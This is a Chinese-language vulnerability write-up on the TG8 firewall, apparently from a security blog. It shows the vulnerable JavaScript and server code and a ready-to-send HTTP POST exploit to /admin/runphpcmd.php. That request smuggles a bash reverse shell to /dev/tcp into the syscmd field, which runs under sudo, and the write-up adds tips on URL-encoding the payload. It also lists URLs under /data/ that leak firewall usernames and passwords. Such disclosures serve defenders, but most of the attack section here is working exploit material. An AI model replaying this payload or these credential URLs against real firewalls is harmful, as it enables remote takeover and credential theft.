TG8_Firewall_RCE_和_信息泄露

# TG8 Firewall RCE 和 信息泄露

TG8 Firewall RCE 和 信息泄露

#漏洞影响

TG8防火墙

#代码审计

该漏洞原因为在index.php文件中调用了runphpcmd.php,其中一行代码为
“`
‘sudo /home/TG8/v3/syscmd/check_gui_login.sh ‘ + username + ‘ ‘ + pass;
“`
从以上可以看到以sudo来调用cmd,显然这里我们可以进行替换,进行任意命令执行。但是我们还有看一下runphpcmd.php里面是否有对其的限制和过滤,runphpcmd.php源码为:
“`
function checkLogin() {
var username = $(‘input[name=u]’).val();
var pass = $(‘input[name=p]’).val();
var cmd = ‘sudo /home/TG8/v3/syscmd/check_gui_login.sh ‘ + username + ‘ ‘ + pass;
$.ajax({
url: “runphpcmd.php”,
type: “post”,
dataType: “json”,
cache: “false”,
data: {
syscmd: cmd
},
success: function (x) {
if (x == ‘OK’) {
ok(username);
} else {
failed();
}
},
error: function () {
ok(username);
// alert(“failure to excute the command”);
}
})
}
“`
从以上源码可以看出来,并没有对syscmd的内容进行验证,结果直接就以json格式返回给调用者。
“`
$output);
// Encoding array in JSON format
echo json_encode($output);
?>
“`
所以我们就可以构造payload了,如下:
“`
POST /admin/runphpcmd.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 68
Connection: keep-alive
syscmd=sudo+%2Fhome%2FTG8%2Fv3%2Fsyscmd%2Fcheck_gui_login.sh+%3Bbash%2F-i%2F>&%2F/dev/tcp/127.0.0.1/10086%2F0>&1%3B++local
“`
空格用%2f替换,‘;’用%3B替换

##2、信息泄露
任何用户都可以通过访问以下url路径来枚举防火墙的用户和密码信息。
“`
http://127.0.0.1/data/w-341.tg
http://127.0.0.1/data/w-342.tg
http://127.0.0.1/data/r-341.tg
http://127.0.0.1/data/r-342.tg
“`

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容